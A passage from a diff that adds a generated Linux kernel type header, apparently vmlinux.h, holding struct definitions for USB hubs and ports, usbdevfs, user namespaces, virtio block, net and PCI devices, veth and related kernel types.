+}; + +struct usb_port_status { + __le16 wPortStatus; + __le16 wPortChange; + __le32 dwExtPortStatus; +}; + +struct usb_tt { + struct usb_device *hub; + int multi; + unsigned int think_time; + void *hcpriv; + spinlock_t lock; + struct list_head clear_list; + struct work_struct clear_work; +}; + +struct usb_hub_descriptor; + +struct usb_port; + +struct usb_hub { + struct device *intfdev; + struct usb_device *hdev; + struct kref kref; + struct urb *urb; + u8 (*buffer)[8]; + union { + struct usb_hub_status hub; + struct usb_port_status port; + } *status; + struct mutex status_mutex; + int error; + int nerrors; + unsigned long event_bits[1]; + unsigned long change_bits[1]; + unsigned long removed_bits[1]; + unsigned long wakeup_bits[1]; + unsigned long power_bits[1]; + unsigned long child_usage_bits[1]; + unsigned long warm_reset_bits[1]; + struct usb_hub_descriptor *descriptor; + struct usb_tt tt; + unsigned int mA_per_port; + unsigned int wakeup_enabled_descendants; + unsigned int limited_power: 1; + unsigned int quiescing: 1; + unsigned int disconnected: 1; + unsigned int in_reset: 1; + unsigned int quirk_disable_autosuspend: 1; + unsigned int quirk_check_port_auto_suspend: 1; + unsigned int has_indicators: 1; + u8 indicator[31]; + struct delayed_work leds; + struct delayed_work init_work; + struct work_struct events; + spinlock_t irq_urb_lock; + struct timer_list irq_urb_retry; + struct usb_port **ports; + struct list_head onboard_devs; +}; + +struct usb_hub_descriptor { + __u8 bDescLength; + __u8 bDescriptorType; + __u8 bNbrPorts; + __le16 wHubCharacteristics; + __u8 bPwrOn2PwrGood; + __u8 bHubContrCurrent; + union { + struct { + __u8 DeviceRemovable[4]; + __u8 PortPwrCtrlMask[4]; + } hs; + struct { + __u8 bHubHdrDecLat; + __le16 wHubDelay; + __le16 DeviceRemovable; + } __attribute__((packed)) ss; + } u; +} __attribute__((packed)); + +struct usb_interface { + struct usb_host_interface *altsetting; + struct usb_host_interface *cur_altsetting; + unsigned int num_altsetting; + struct usb_interface_assoc_descriptor *intf_assoc; + int minor; + enum usb_interface_condition condition; + unsigned int sysfs_files_created: 1; + unsigned int ep_devs_created: 1; + unsigned int unregistering: 1; + unsigned int needs_remote_wakeup: 1; + unsigned int needs_altsetting0: 1; + unsigned int needs_binding: 1; + unsigned int resetting_device: 1; + unsigned int authorized: 1; + enum usb_wireless_status wireless_status; + struct work_struct wireless_status_work; + struct device dev; + struct device *usb_dev; + struct work_struct reset_ws; +}; + +struct usb_interface_assoc_descriptor { + __u8 bLength; + __u8 bDescriptorType; + __u8 bFirstInterface; + __u8 bInterfaceCount; + __u8 bFunctionClass; + __u8 bFunctionSubClass; + __u8 bFunctionProtocol; + __u8 iFunction; +}; + +struct usb_interface_cache { + unsigned int num_altsetting; + struct kref ref; + struct usb_host_interface altsetting[0]; +}; + +struct usb_memory { + struct list_head memlist; + int vma_use_count; + int urb_use_count; + u32 size; + void *mem; + dma_addr_t dma_handle; + unsigned long vm_start; + struct usb_dev_state *ps; +}; + +struct usb_gadget; + +struct usb_otg { + u8 default_a; + struct phy___2 *phy; + struct usb_phy *usb_phy; + struct usb_bus *host; + struct usb_gadget *gadget; + enum usb_otg_state state; + int (*set_host)(struct usb_otg *, struct usb_bus *); + int (*set_peripheral)(struct usb_otg *, struct usb_gadget *); + int (*set_vbus)(struct usb_otg *, bool); + int (*start_srp)(struct usb_otg *); + int (*start_hnp)(struct usb_otg *); +}; + +struct extcon_dev; + +struct usb_phy_io_ops; + +struct usb_phy { + struct device *dev; + const char *label; + unsigned int flags; + enum usb_phy_type type; + enum usb_phy_events last_event; + struct usb_otg *otg; + struct device *io_dev; + struct usb_phy_io_ops *io_ops; + void *io_priv; + struct extcon_dev *edev; + struct extcon_dev *id_edev; + struct notifier_block vbus_nb; + struct notifier_block id_nb; + struct notifier_block type_nb; + enum usb_charger_type chg_type; + enum usb_charger_state chg_state; + struct usb_charger_current chg_cur; + struct work_struct chg_work; + struct atomic_notifier_head notifier; + u16 port_status; + u16 port_change; + struct list_head head; + int (*init)(struct usb_phy *); + void (*shutdown)(struct usb_phy *); + int (*set_vbus)(struct usb_phy *, int); + int (*set_power)(struct usb_phy *, unsigned int); + int (*set_suspend)(struct usb_phy *, int); + int (*set_wakeup)(struct usb_phy *, bool); + int (*notify_connect)(struct usb_phy *, enum usb_device_speed); + int (*notify_disconnect)(struct usb_phy *, enum usb_device_speed); + enum usb_charger_type (*charger_detect)(struct usb_phy *); +}; + +struct usb_phy_io_ops { + int (*read)(struct usb_phy *, u32); + int (*write)(struct usb_phy *, u32, u32); +}; + +struct usb_phy_roothub { + struct phy___2 *phy; + struct list_head list; +}; + +struct usb_port { + struct usb_device *child; + struct device dev; + struct usb_dev_state *port_owner; + struct usb_port *peer; + struct typec_connector *connector; + struct dev_pm_qos_request *req; + enum usb_port_connect_type connect_type; + enum usb_device_state state; + struct kernfs_node *state_kn; + usb_port_location_t location; + struct mutex status_lock; + u32 over_current_count; + u8 portnum; + u32 quirks; + unsigned int early_stop: 1; + unsigned int ignore_event: 1; + unsigned int is_superspeed: 1; + unsigned int usb3_lpm_u1_permit: 1; + unsigned int usb3_lpm_u2_permit: 1; +}; + +struct usb_ptm_cap_descriptor { + __u8 bLength; + __u8 bDescriptorType; + __u8 bDevCapabilityType; +}; + +struct usb_qualifier_descriptor { + __u8 bLength; + __u8 bDescriptorType; + __le16 bcdUSB; + __u8 bDeviceClass; + __u8 bDeviceSubClass; + __u8 bDeviceProtocol; + __u8 bMaxPacketSize0; + __u8 bNumConfigurations; + __u8 bRESERVED; +}; + +struct usb_set_sel_req { + __u8 u1_sel; + __u8 u1_pel; + __le16 u2_sel; + __le16 u2_pel; +}; + +struct usb_ss_cap_descriptor { + __u8 bLength; + __u8 bDescriptorType; + __u8 bDevCapabilityType; + __u8 bmAttributes; + __le16 wSpeedSupported; + __u8 bFunctionalitySupport; + __u8 bU1devExitLat; + __le16 bU2DevExitLat; +}; + +struct usb_ss_container_id_descriptor { + __u8 bLength; + __u8 bDescriptorType; + __u8 bDevCapabilityType; + __u8 bReserved; + __u8 ContainerID[16]; +}; + +struct usb_ssp_cap_descriptor { + __u8 bLength; + __u8 bDescriptorType; + __u8 bDevCapabilityType; + __u8 bReserved; + __le32 bmAttributes; + __le16 wFunctionalitySupport; + __le16 wReserved; + union { + __le32 legacy_padding; + struct { + struct {} __empty_bmSublinkSpeedAttr; + __le32 bmSublinkSpeedAttr[0]; + }; + }; +}; + +struct usb_tt_clear { + struct list_head clear_list; + unsigned int tt; + u16 devinfo; + struct usb_hcd *hcd; + struct usb_host_endpoint *ep; +}; + +struct usbdevfs_bulktransfer { + unsigned int ep; + unsigned int len; + unsigned int timeout; + void __attribute__((btf_type_tag("user"))) *data; +}; + +struct usbdevfs_connectinfo { + unsigned int devnum; + unsigned char slow; +}; + +struct usbdevfs_conninfo_ex { + __u32 size; + __u32 busnum; + __u32 devnum; + __u32 speed; + __u8 num_ports; + __u8 ports[7]; +}; + +struct usbdevfs_ctrltransfer { + __u8 bRequestType; + __u8 bRequest; + __u16 wValue; + __u16 wIndex; + __u16 wLength; + __u32 timeout; + void __attribute__((btf_type_tag("user"))) *data; +}; + +struct usbdevfs_disconnect_claim { + unsigned int interface; + unsigned int flags; + char driver[256]; +}; + +struct usbdevfs_disconnectsignal { + unsigned int signr; + void __attribute__((btf_type_tag("user"))) *context; +}; + +struct usbdevfs_getdriver { + unsigned int interface; + char driver[256]; +}; + +struct usbdevfs_hub_portinfo { + char nports; + char port[127]; +}; + +struct usbdevfs_ioctl { + int ifno; + int ioctl_code; + void __attribute__((btf_type_tag("user"))) *data; +}; + +struct usbdevfs_iso_packet_desc { + unsigned int length; + unsigned int actual_length; + unsigned int status; +}; + +struct usbdevfs_setinterface { + unsigned int interface; + unsigned int altsetting; +}; + +struct usbdevfs_streams { + unsigned int num_streams; + unsigned int num_eps; + unsigned char eps[0]; +}; + +struct usbdevfs_urb { + unsigned char type; + unsigned char endpoint; + int status; + unsigned int flags; + void __attribute__((btf_type_tag("user"))) *buffer; + int buffer_length; + int actual_length; + int start_frame; + union { + int number_of_packets; + unsigned int stream_id; + }; + int error_count; + unsigned int signr; + void __attribute__((btf_type_tag("user"))) *usercontext; + struct usbdevfs_iso_packet_desc iso_frame_desc[0]; +}; + +struct usbhid_device { + struct hid_device *hid; + struct usb_interface *intf; + int ifnum; + unsigned int bufsize; + struct urb *urbin; + char *inbuf; + dma_addr_t inbuf_dma; + struct urb *urbctrl; + struct usb_ctrlrequest *cr; + struct hid_control_fifo ctrl[256]; + unsigned char ctrlhead; + unsigned char ctrltail; + char *ctrlbuf; + dma_addr_t ctrlbuf_dma; + unsigned long last_ctrl; + struct urb *urbout; + struct hid_output_fifo out[256]; + unsigned char outhead; + unsigned char outtail; + char *outbuf; + dma_addr_t outbuf_dma; + unsigned long last_out; + struct mutex mutex; + spinlock_t lock; + unsigned long iofl; + struct timer_list io_retry; + unsigned long stop_retry; + unsigned int retry_delay; + struct work_struct reset_work; + wait_queue_head_t wait; +}; + +struct used_address { + struct __kernel_sockaddr_storage name; + unsigned int name_len; +}; + +struct user_arg_ptr { + union { + const char __attribute__((btf_type_tag("user"))) * const __attribute__((btf_type_tag("user"))) *native; + } ptr; +}; + +struct user_desc { + unsigned int entry_number; + unsigned int base_addr; + unsigned int limit; + unsigned int seg_32bit: 1; + unsigned int contents: 2; + unsigned int read_exec_only: 1; + unsigned int limit_in_pages: 1; + unsigned int seg_not_present: 1; + unsigned int useable: 1; + unsigned int lm: 1; +}; + +struct user_i387_ia32_struct { + u32 cwd; + u32 swd; + u32 twd; + u32 fip; + u32 fcs; + u32 foo; + u32 fos; + u32 st_space[20]; +}; + +struct user_key_payload { + struct callback_head rcu; + unsigned short datalen; + long: 0; + char data[0]; +}; + +struct user_namespace { + struct uid_gid_map uid_map; + struct uid_gid_map gid_map; + struct uid_gid_map projid_map; + struct user_namespace *parent; + int level; + kuid_t owner; + kgid_t group; + struct ns_common ns; + unsigned long flags; + bool parent_could_setfcap; + struct list_head keyring_name_list; + struct key *user_keyring_register; + struct rw_semaphore keyring_sem; + struct work_struct work; + struct ctl_table_set set; + struct ctl_table_header *sysctls; + struct ucounts *ucounts; + long ucount_max[10]; + long rlimit_max[4]; + struct binfmt_misc *binfmt_misc; +}; + +struct user_regset; + +typedef int user_regset_get2_fn(struct task_struct *, const struct user_regset *, struct membuf); + +typedef int user_regset_set_fn(struct task_struct *, const struct user_regset *, unsigned int, unsigned int, const void *, const void __attribute__((btf_type_tag("user"))) *); + +typedef int user_regset_active_fn(struct task_struct *, const struct user_regset *); + +typedef int user_regset_writeback_fn(struct task_struct *, const struct user_regset *, int); + +struct user_regset { + user_regset_get2_fn *regset_get; + user_regset_set_fn *set; + user_regset_active_fn *active; + user_regset_writeback_fn *writeback; + unsigned int n; + unsigned int size; + unsigned int align; + unsigned int bias; + unsigned int core_note_type; +}; + +struct user_regset_view { + const char *name; + const struct user_regset *regsets; + unsigned int n; + u32 e_flags; + u16 e_machine; + u8 ei_osabi; +}; + +struct user_struct { + refcount_t __count; + struct percpu_counter epoll_watches; + unsigned long unix_inflight; + atomic_long_t pipe_bufs; + struct hlist_node uidhash_node; + kuid_t uid; + atomic_long_t locked_vm; + struct ratelimit_state ratelimit; +}; + +struct userspace_policy { + unsigned int is_managed; + unsigned int setspeed; + struct mutex mutex; +}; + +struct userstack_entry { + struct trace_entry ent; + unsigned int tgid; + unsigned long caller[8]; +}; + +struct ustat { + __kernel_daddr_t f_tfree; + unsigned long f_tinode; + char f_fname[6]; + char f_fpack[6]; +}; + +struct ustring_buffer { + char buffer[1024]; +}; + +struct utf8_table { + int cmask; + int cval; + int shift; + long lmask; + long lval; +}; + +struct utimbuf { + __kernel_old_time_t actime; + __kernel_old_time_t modtime; +}; + +struct uts_namespace { + struct new_utsname name; + struct user_namespace *user_ns; + struct ucounts *ucounts; + struct ns_common ns; +}; + +struct uuidcmp { + const char *uuid; + int len; +}; + +struct va_alignment { + int flags; + unsigned long mask; + unsigned long bits; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct va_format { + const char *fmt; + va_list *va; +}; + +struct var_mtrr_range_state { + unsigned long base_pfn; + unsigned long size_pfn; + mtrr_type type; +}; + +struct variable_validate { + efi_guid_t vendor; + char *name; + bool (*validate)(efi_char16_t *, int, u8 *, unsigned long); +}; + +struct vc { + struct vc_data *d; + struct work_struct SAK_work; +}; + +struct vc_state { + unsigned int x; + unsigned int y; + unsigned char color; + unsigned char Gx_charset[2]; + unsigned int charset: 1; + enum vc_intensity intensity; + bool italic; + bool underline; + bool blink; + bool reverse; +}; + +struct vt_mode { + char mode; + char waitv; + short relsig; + short acqsig; + short frsig; +}; + +struct vc_data { + struct tty_port port; + struct vc_state state; + struct vc_state saved_state; + unsigned short vc_num; + unsigned int vc_cols; + unsigned int vc_rows; + unsigned int vc_size_row; + unsigned int vc_scan_lines; + unsigned int vc_cell_height; + unsigned long vc_origin; + unsigned long vc_scr_end; + unsigned long vc_visible_origin; + unsigned int vc_top; + unsigned int vc_bottom; + const struct consw *vc_sw; + unsigned short *vc_screenbuf; + unsigned int vc_screenbuf_size; + unsigned char vc_mode; + unsigned char vc_attr; + unsigned char vc_def_color; + unsigned char vc_ulcolor; + unsigned char vc_itcolor; + unsigned char vc_halfcolor; + unsigned int vc_cursor_type; + unsigned short vc_complement_mask; + unsigned short vc_s_complement_mask; + unsigned long vc_pos; + unsigned short vc_hi_font_mask; + struct console_font vc_font; + unsigned short vc_video_erase_char; + unsigned int vc_state; + unsigned int vc_npar; + unsigned int vc_par[16]; + struct vt_mode vt_mode; + struct pid *vt_pid; + int vt_newvt; + wait_queue_head_t paste_wait; + unsigned int vc_disp_ctrl: 1; + unsigned int vc_toggle_meta: 1; + unsigned int vc_decscnm: 1; + unsigned int vc_decom: 1; + unsigned int vc_decawm: 1; + unsigned int vc_deccm: 1; + unsigned int vc_decim: 1; + unsigned int vc_priv: 3; + unsigned int vc_need_wrap: 1; + unsigned int vc_can_do_color: 1; + unsigned int vc_report_mouse: 2; + unsigned char vc_utf: 1; + unsigned char vc_utf_count; + int vc_utf_char; + unsigned long vc_tab_stop[4]; + unsigned char vc_palette[48]; + unsigned short *vc_translate; + unsigned int vc_bell_pitch; + unsigned int vc_bell_duration; + unsigned short vc_cur_blink_ms; + struct vc_data **vc_display_fg; + struct uni_pagedict *uni_pagedict; + struct uni_pagedict **uni_pagedict_loc; + u32 **vc_uni_lines; +}; + +struct vc_draw_region { + unsigned long from; + unsigned long to; + int x; +}; + +struct vc_selection { + struct mutex lock; + struct vc_data *cons; + char *buffer; + unsigned int buf_len; + volatile int start; + int end; +}; + +struct vcs_poll_data { + struct notifier_block notifier; + unsigned int cons_num; + int event; + wait_queue_head_t waitq; + struct fasync_struct *fasync; +}; + +struct vdso_timestamp { + u64 sec; + u64 nsec; +}; + +struct vdso_data { + u32 seq; + s32 clock_mode; + u64 cycle_last; + u64 max_cycles; + u64 mask; + u32 mult; + u32 shift; + union { + struct vdso_timestamp basetime[12]; + struct timens_offset offset[12]; + }; + s32 tz_minuteswest; + s32 tz_dsttime; + u32 hrtimer_res; + u32 __unused; + struct arch_vdso_data arch_data; +}; + +struct vdso_exception_table_entry { + int insn; + int fixup; +}; + +struct vdso_image { + void *data; + unsigned long size; + unsigned long alt; + unsigned long alt_len; + unsigned long extable_base; + unsigned long extable_len; + const void *extable; + long sym_vvar_start; + long sym_vvar_page; + long sym_pvclock_page; + long sym_hvclock_page; + long sym_timens_page; + long sym_VDSO32_NOTE_MASK; + long sym___kernel_sigreturn; + long sym___kernel_rt_sigreturn; + long sym___kernel_vsyscall; + long sym_int80_landing_pad; + long sym_vdso32_sigreturn_landing_pad; + long sym_vdso32_rt_sigreturn_landing_pad; +}; + +struct vdso_rng_data { + u64 generation; + u8 is_ready; +}; + +struct vector_cleanup { + struct hlist_head head; + struct timer_list timer; +}; + +struct vers_iter { + size_t param_size; + struct dm_target_versions *vers; + struct dm_target_versions *old_vers; + char *end; + uint32_t flags; +}; + +struct vesafb_par { + u32 pseudo_palette[256]; + resource_size_t base; + resource_size_t size; + int wc_cookie; + struct resource *region; +}; + +struct veth_rq; + +struct veth_priv { + struct net_device __attribute__((btf_type_tag("rcu"))) *peer; + atomic64_t dropped; + struct bpf_prog *_xdp_prog; + struct veth_rq *rq; + unsigned int requested_headroom; +}; + +struct veth_q_stat_desc { + char desc[32]; + size_t offset; +}; + +struct veth_stats { + u64 rx_drops; + u64 xdp_packets; + u64 xdp_bytes; + u64 xdp_redirect; + u64 xdp_drops; + u64 xdp_tx; + u64 xdp_tx_err; + u64 peer_tq_xdp_xmit; + u64 peer_tq_xdp_xmit_err; +}; + +struct veth_rq_stats { + struct veth_stats vs; + struct u64_stats_sync syncp; +}; + +struct veth_rq { + struct napi_struct xdp_napi; + struct napi_struct __attribute__((btf_type_tag("rcu"))) *napi; + struct net_device *dev; + struct bpf_prog __attribute__((btf_type_tag("rcu"))) *xdp_prog; + struct xdp_mem_info xdp_mem; + struct veth_rq_stats stats; + bool rx_notify_masked; + struct ptr_ring xdp_ring; + struct xdp_rxq_info xdp_rxq; + struct page_pool *page_pool; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct veth_xdp_buff { + struct xdp_buff xdp; + struct sk_buff *skb; +}; + +struct veth_xdp_tx_bq { + struct xdp_frame *q[16]; + unsigned int count; +}; + +struct vf_data_storage { + unsigned char vf_mac_addresses[6]; + u16 vf_mc_hashes[30]; + u16 num_vf_mc_hashes; + u32 flags; + unsigned long last_nack; + u16 pf_vlan; + u16 pf_qos; + u16 tx_rate; + bool spoofchk_enabled; + bool trusted; +}; + +struct vfree_deferred { + struct llist_head list; + struct work_struct wq; +}; + +struct vfs_cap_data { + __le32 magic_etc; + struct { + __le32 permitted; + __le32 inheritable; + } data[2]; +}; + +struct vfs_ns_cap_data { + __le32 magic_etc; + struct { + __le32 permitted; + __le32 inheritable; + } data[2]; + __le32 rootid; +}; + +struct vga_arb_user_card { + struct pci_dev *pdev; + unsigned int mem_cnt; + unsigned int io_cnt; +}; + +struct vga_arb_private { + struct list_head list; + struct pci_dev *target; + struct vga_arb_user_card cards[16]; + spinlock_t lock; +}; + +struct vga_device { + struct list_head list; + struct pci_dev *pdev; + unsigned int decodes; + unsigned int owns; + unsigned int locks; + unsigned int io_lock_cnt; + unsigned int mem_lock_cnt; + unsigned int io_norm_cnt; + unsigned int mem_norm_cnt; + bool bridge_has_one_vga; + bool is_firmware_default; + unsigned int (*set_decode)(struct pci_dev *, bool); +}; + +struct vgastate { + void *vgabase; + unsigned long membase; + __u32 memsize; + __u32 flags; + __u32 depth; + __u32 num_attr; + __u32 num_crtc; + __u32 num_gfx; + __u32 num_seq; + void *vidstate; +}; + +struct vif_params { + u32 flags; + int use_4addr; + u8 macaddr[6]; + const u8 *vht_mumimo_groups; + const u8 *vht_mumimo_follow_addr; +}; + +struct virtio_blk_outhdr { + __virtio32 type; + __virtio32 ioprio; + __virtio64 sector; +}; + +struct virtblk_req { + struct virtio_blk_outhdr out_hdr; + union { + u8 status; + struct { + __virtio64 sector; + u8 status; + } zone_append; + } in_hdr; + size_t in_hdr_len; + struct sg_table sg_table; + struct scatterlist sg[0]; +}; + +struct virtio_admin_cmd { + __le16 opcode; + __le16 group_type; + __le64 group_member_id; + struct scatterlist *data_sg; + struct scatterlist *result_sg; + struct completion completion; + int ret; +}; + +struct virtio_admin_cmd_hdr { + __le16 opcode; + __le16 group_type; + __u8 reserved1[12]; + __le64 group_member_id; +}; + +struct virtio_admin_cmd_legacy_rd_data { + __u8 offset; +}; + +struct virtio_admin_cmd_legacy_wr_data { + __u8 offset; + __u8 reserved[7]; + __u8 registers[0]; +}; + +struct virtio_admin_cmd_notify_info_data { + __u8 flags; + __u8 bar; + __u8 padding[6]; + __le64 offset; +}; + +struct virtio_admin_cmd_notify_info_result { + struct virtio_admin_cmd_notify_info_data entries[4]; +}; + +struct virtio_admin_cmd_status { + __le16 status; + __le16 status_qualifier; + __u8 reserved2[4]; +}; + +struct virtio_device; + +struct virtio_blk_vq; + +struct virtio_blk { + struct mutex vdev_mutex; + struct virtio_device *vdev; + struct gendisk *disk; + struct blk_mq_tag_set tag_set; + struct work_struct config_work; + int index; + int num_vqs; + int io_queues[3]; + struct virtio_blk_vq *vqs; + unsigned int zone_sectors; +}; + +struct virtio_blk_discard_write_zeroes { + __le64 sector; + __le32 num_sectors; + __le32 flags; +}; + +struct virtio_blk_vq { + struct virtqueue *vq; + spinlock_t lock; + char name[16]; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct virtqueue_info; + +struct virtio_shm_region; + +struct virtio_config_ops { + void (*get)(struct virtio_device *, unsigned int, void *, unsigned int); + void (*set)(struct virtio_device *, unsigned int, const void *, unsigned int); + u32 (*generation)(struct virtio_device *); + u8 (*get_status)(struct virtio_device *); + void (*set_status)(struct virtio_device *, u8); + void (*reset)(struct virtio_device *); + int (*find_vqs)(struct virtio_device *, unsigned int, struct virtqueue **, struct virtqueue_info *, struct irq_affinity *); + void (*del_vqs)(struct virtio_device *); + void (*synchronize_cbs)(struct virtio_device *); + u64 (*get_features)(struct virtio_device *); + int (*finalize_features)(struct virtio_device *); + const char * (*bus_name)(struct virtio_device *); + int (*set_vq_affinity)(struct virtqueue *, const struct cpumask *); + const struct cpumask * (*get_vq_affinity)(struct virtio_device *, int); + bool (*get_shm_region)(struct virtio_device *, struct virtio_shm_region *, u8); + int (*disable_vq_and_reset)(struct virtqueue *); + int (*enable_vq_after_reset)(struct virtqueue *); +}; + +struct virtio_device_id { + __u32 device; + __u32 vendor; +}; + +struct vringh_config_ops; + +struct virtio_device { + int index; + bool failed; + bool config_core_enabled; + bool config_driver_disabled; + bool config_change_pending; + spinlock_t config_lock; + spinlock_t vqs_list_lock; + struct device dev; + struct virtio_device_id id; + const struct virtio_config_ops *config; + const struct vringh_config_ops *vringh_config; + struct list_head vqs; + u64 features; + void *priv; +}; + +struct virtio_driver { + struct device_driver driver; + const struct virtio_device_id *id_table; + const unsigned int *feature_table; + unsigned int feature_table_size; + const unsigned int *feature_table_legacy; + unsigned int feature_table_size_legacy; + int (*validate)(struct virtio_device *); + int (*probe)(struct virtio_device *); + void (*scan)(struct virtio_device *); + void (*remove)(struct virtio_device *); + void (*config_changed)(struct virtio_device *); + int (*freeze)(struct virtio_device *); + int (*restore)(struct virtio_device *); +}; + +struct virtio_net_hdr { + __u8 flags; + __u8 gso_type; + __virtio16 hdr_len; + __virtio16 gso_size; + __virtio16 csum_start; + __virtio16 csum_offset; +}; + +struct virtio_net_hdr_mrg_rxbuf { + struct virtio_net_hdr hdr; + __virtio16 num_buffers; +}; + +struct virtio_net_hdr_v1 { + __u8 flags; + __u8 gso_type; + __virtio16 hdr_len; + __virtio16 gso_size; + union { + struct { + __virtio16 csum_start; + __virtio16 csum_offset; + }; + struct { + __virtio16 start; + __virtio16 offset; + } csum; + struct { + __le16 segments; + __le16 dup_acks; + } rsc; + }; + __virtio16 num_buffers; +}; + +struct virtio_net_hdr_v1_hash { + struct virtio_net_hdr_v1 hdr; + __le32 hash_value; + __le16 hash_report; + __le16 padding; +}; + +struct virtio_net_common_hdr { + union { + struct virtio_net_hdr hdr; + struct virtio_net_hdr_mrg_rxbuf mrg_hdr; + struct virtio_net_hdr_v1_hash hash_v1_hdr; + }; +}; + +struct virtio_net_ctrl_coal { + __le32 max_packets; + __le32 max_usecs; +}; + +struct virtio_net_ctrl_coal_rx { + __le32 rx_max_packets; + __le32 rx_usecs; +}; + +struct virtio_net_ctrl_coal_tx { + __le32 tx_max_packets; + __le32 tx_usecs; +}; + +struct virtio_net_ctrl_coal_vq { + __le16 vqn; + __le16 reserved; + struct virtio_net_ctrl_coal coal; +}; + +struct virtio_net_ctrl_mac { + __virtio32 entries; + __u8 macs[0]; +}; + +struct virtio_net_ctrl_mq { + __virtio16 virtqueue_pairs; +}; + +struct virtio_net_ctrl_queue_stats { + struct { + __le16 vq_index; + __le16 reserved[3]; + __le64 types_bitmap[1]; + } stats[1]; +}; + +struct virtio_net_ctrl_rss { + u32 hash_types; + u16 indirection_table_mask; + u16 unclassified_queue; + u16 indirection_table[128]; + u16 max_tx_vq; + u8 hash_key_length; + u8 key[40]; +}; + +struct virtio_net_stats_capabilities { + __le64 supported_stats_types[1]; +}; + +struct virtio_net_stats_reply_hdr { + __u8 type; + __u8 reserved; + __le16 vq_index; + __le16 reserved1; + __le16 size; +}; + +struct virtio_pci_vq_info; + +struct virtio_pci_admin_vq { + struct virtio_pci_vq_info *info; + spinlock_t lock; + u64 supported_cmds; + char name[10]; + u16 vq_index; +}; + +struct virtio_pci_common_cfg { + __le32 device_feature_select; + __le32 device_feature; + __le32 guest_feature_select; + __le32 guest_feature; + __le16 msix_config; + __le16 num_queues; + __u8 device_status; + __u8 config_generation; + __le16 queue_select; + __le16 queue_size; + __le16 queue_msix_vector; + __le16 queue_enable; + __le16 queue_notify_off; + __le32 queue_desc_lo; + __le32 queue_desc_hi; + __le32 queue_avail_lo; + __le32 queue_avail_hi; + __le32 queue_used_lo; + __le32 queue_used_hi; +}; + +struct virtio_pci_legacy_device { + struct pci_dev *pci_dev; + u8 *isr; + void *ioaddr; + struct virtio_device_id id; +}; + +struct virtio_pci_modern_device { + struct pci_dev *pci_dev; + struct virtio_pci_common_cfg *common; + void *device; + void *notify_base; + resource_size_t notify_pa; + u8 *isr; + size_t notify_len; + size_t device_len; + size_t common_len; + int notify_map_cap; + u32 notify_offset_multiplier; + int modern_bars; + struct virtio_device_id id; + int (*device_id_check)(struct pci_dev *); + u64 dma_mask; +}; + +struct virtio_pci_device { + struct virtio_device vdev; + struct pci_dev *pci_dev; + union { + struct virtio_pci_legacy_device ldev; + struct virtio_pci_modern_device mdev; + }; + bool is_legacy; + u8 *isr; + spinlock_t lock; + struct list_head virtqueues; + struct list_head slow_virtqueues; + struct virtio_pci_vq_info **vqs; + struct virtio_pci_admin_vq admin_vq; + int msix_enabled; + int intx_enabled; + cpumask_var_t *msix_affinity_masks; + char (*msix_names)[256]; + unsigned int msix_vectors; + unsigned int msix_used_vectors; + bool per_vq_vectors; + struct virtqueue * (*setup_vq)(struct virtio_pci_device *, struct virtio_pci_vq_info *, unsigned int, void (*)(struct virtqueue *), const char *, bool, u16); + void (*del_vq)(struct virtio_pci_vq_info *); + u16 (*config_vector)(struct virtio_pci_device *, u16); + int (*avq_index)(struct virtio_device *, u16 *, u16 *); +}; + +struct virtio_pci_modern_common_cfg { + struct virtio_pci_common_cfg cfg; + __le16 queue_notify_data; + __le16 queue_reset; + __le16 admin_queue_index; + __le16 admin_queue_num; +}; + +struct virtio_pci_vq_info { + struct virtqueue *vq; + struct list_head node; + unsigned int msix_vector; +}; + +struct virtio_shm_region { + u64 addr; + u64 len; +}; + +struct virtnet_info { + struct virtio_device *vdev; + struct virtqueue *cvq; + struct net_device *dev; + struct send_queue *sq; + struct receive_queue *rq; + unsigned int status; + u16 max_queue_pairs; + u16 curr_queue_pairs; + u16 xdp_queue_pairs; + bool xdp_enabled; + bool big_packets; + unsigned int big_packets_num_skbfrags; + bool mergeable_rx_bufs; + bool has_rss; + bool has_rss_hash_report; + u8 rss_key_size; + u16 rss_indir_table_size; + u32 rss_hash_types_supported; + u32 rss_hash_types_saved; + struct virtio_net_ctrl_rss rss; + bool has_cvq; + struct mutex cvq_lock; + bool any_header_sg; + u8 hdr_len; + struct delayed_work refill; + bool refill_enabled; + spinlock_t refill_lock; + struct work_struct config_work; + struct work_struct rx_mode_work; + bool rx_mode_work_enabled; + bool affinity_hint_set; + struct hlist_node node; + struct hlist_node node_dead; + struct control_buf *ctrl; + u8 duplex; + u32 speed; + bool rx_dim_enabled; + struct virtnet_interrupt_coalesce intr_coal_tx; + struct virtnet_interrupt_coalesce intr_coal_rx; + unsigned long guest_offloads; + unsigned long guest_offloads_capable; + struct failover *failover; + u64 device_stats_cap; +}; + +struct virtnet_rq_dma { + dma_addr_t addr; + u32 ref; + u16 len; + u16 need_sync; +}; + +struct virtnet_sq_free_stats { + u64 packets; + u64 bytes; + u64 napi_packets; + u64 napi_bytes; +}; + +struct virtnet_stat_desc { + char desc[32]; + size_t offset; + size_t qstat_offset; +}; + +struct virtnet_stats_ctx { + bool to_qstat; + u32 desc_num[3]; + u32 bitmap[3]; + u32 size[3]; + u64 *data; +}; + +struct virtqueue { + struct list_head list; + void (*callback)(struct virtqueue *); + const char *name; + struct virtio_device *vdev; + unsigned int index; + unsigned int num_free; + unsigned int num_max; + bool reset; + void *priv; +}; + +typedef void vq_callback_t(struct virtqueue *); + +struct virtqueue_info { + const char *name; + vq_callback_t *callback; + bool ctx; +}; + +struct vlan_ethhdr { + union { + struct { + unsigned char h_dest[6]; + unsigned char h_source[6]; + }; + struct { + unsigned char h_dest[6]; + unsigned char h_source[6]; + } addrs; + }; + __be16 h_vlan_proto; + __be16 h_vlan_TCI; + __be16 h_vlan_encapsulated_proto; +}; + +struct vlan_hdr { + __be16 h_vlan_TCI; + __be16 h_vlan_encapsulated_proto; +}; + +struct vm_userfaultfd_ctx {}; + +struct vma_lock; + +struct vm_area_struct { + union { + struct { + unsigned long vm_start; + unsigned long vm_end; + }; + struct callback_head vm_rcu; + }; + struct mm_struct *vm_mm; + pgprot_t vm_page_prot; + union { + const vm_flags_t vm_flags; + vm_flags_t __vm_flags; + }; + bool detached; + int vm_lock_seq; + struct vma_lock *vm_lock; + struct { + struct rb_node rb; + unsigned long rb_subtree_last; + } shared; + struct list_head anon_vma_chain; + struct anon_vma *anon_vma; + const struct vm_operations_struct *vm_ops; + unsigned long vm_pgoff; + struct file *vm_file; + void *vm_private_data; + atomic_long_t swap_readahead_info; + struct 